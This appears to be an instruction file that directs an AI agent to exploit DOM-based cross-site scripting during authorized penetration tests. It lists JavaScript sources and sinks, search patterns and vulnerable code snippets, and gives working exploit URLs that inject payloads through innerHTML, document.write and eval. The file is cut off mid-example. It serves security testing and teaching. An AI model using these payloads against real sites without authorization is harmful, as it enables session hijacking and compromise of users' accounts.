/xss-dom

name: xss-dom
description: >
  Guide DOM-based XSS exploitation during authorized penetration testing.
keywords:
  - DOM XSS
  - DOM-based XSS
  - innerHTML injection
  - eval injection
  - document.write XSS
  - postMessage XSS
  - source and sink
  - client-side XSS
  - JavaScript DOM manipulation
tools:
  - burpsuite
  - DOM Invader
  - domloggerpp
  - domdig
opsec: low

DOM-Based XSS

You are helping a penetration tester exploit DOM-based cross-site scripting. The vulnerability exists entirely in client-side JavaScript — attacker-controlled data flows from a source (URL, cookie, postMessage, storage) to a dangerous sink (innerHTML, eval, document.write) without proper sanitization. The malicious payload never appears in the HTTP response from the server. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[xss-dom] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Web Interaction

DOM XSS exists entirely in client-side JavaScript — **browser tools are essential** for this skill. The vulnerability cannot be detected or exploited without JavaScript execution.

• **`browser_open`** to load the target page with JavaScript execution
• **`browser_evaluate`** for source-to-sink tracing — inspect DOM state, trace

data flow through JavaScript variables, check what sinks are reachable (e.g., `document.querySelectorAll('[innerHTML]')`, `document.querySelectorAll('script')`)

• **`browser_navigate`** with crafted URL fragments (`#payload`) to test

hash-based sources

• **`browser_screenshot`** for evidence of DOM manipulation
• **curl is insufficient** for DOM XSS — it doesn't execute JavaScript, so it

cannot trigger source-to-sink flows

Prerequisites

• Access to the target page's JavaScript (view source, browser DevTools)
• Understanding that DOM XSS payloads often go in URL fragments (`#`), which are

NOT sent to the server

• Tools: browser DevTools (Sources/Console), DOM Invader (Burp Suite built-in),

domloggerpp (browser extension)

Step 1: Assess

If not already provided, determine: 1. **Target page** — URL of the page with client-side JavaScript 2. **Suspected source** — where does attacker input enter the DOM? (URL hash, query param, cookie, postMessage, localStorage) 3. **Suspected sink** — where does the data get used unsafely?

Skip if context was already provided.

Step 2: Identify Sources

Sources are inputs an attacker can control. Check each one:

**URL-based sources:**

document.URL
document.documentURI
document.baseURI
location              // location.href, location.hash, location.search, location.pathname
document.referrer

**Storage-based sources:**

document.cookie
window.name           // persists across cross-origin navigations!
localStorage
sessionStorage

**Message-based sources:**

// postMessage listener
window.addEventListener('message', function(e) { /* uses e.data unsafely */ })

**How to find them:** Search the page's JavaScript for these patterns. In DevTools → Sources → Search (Ctrl+Shift+F):

location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage
addEventListener.*message
localStorage.getItem
sessionStorage.getItem
document.cookie

Step 3: Identify Sinks

Sinks are functions/properties where attacker data causes harm.

**HTML injection sinks** (most common for DOM XSS):

element.innerHTML = ...
element.outerHTML = ...
element.insertAdjacentHTML(...)
document.write(...)
document.writeln(...)

> `innerHTML` blocks `<script>` tags in modern browsers. Use `<img onerror>` instead.

**JavaScript execution sinks:**

eval(...)
Function(...)()
setTimeout(string, ...)
setInterval(string, ...)
setImmediate(string, ...)

**URL/navigation sinks:**

location = ...
location.href = ...
location.assign(...)
location.replace(...)
window.open(...)

**jQuery sinks:**

$(...)                 // selector injection
$.html(...)
$.append(...)
$.prepend(...)
$.after(...)
$.before(...)
$.parseHTML(...)
$.globalEval(...)

Step 4: Trace the Data Flow

Follow the data from source to sink through the JavaScript code.

**Example 1 — URL hash to innerHTML:**

// Vulnerable code
var content = location.hash.substring(1);
document.getElementById('output').innerHTML = content;

// Exploit (payload in URL fragment — not sent to server)
https://TARGET/page#<img src=x onerror=alert(document.domain)>

**Example 2 — URL param to document.write:**

// Vulnerable code
var search = new URLSearchParams(location.search);
document.write('<h1>Results for: ' + search.get('q') + '</h1>');

// Exploit
https://TARGET/page?q=</h1><script>alert(document.domain)</script>

**Example 3 — URL param to eval:**

// Vulnerable code
var config = location.search.substring(1);
eval('var settings = {' + config + '}');

// Exploit
https://TARGET/page?};alert(document.domain);//

**Example 4 — postMessage to innerHTML:**

// V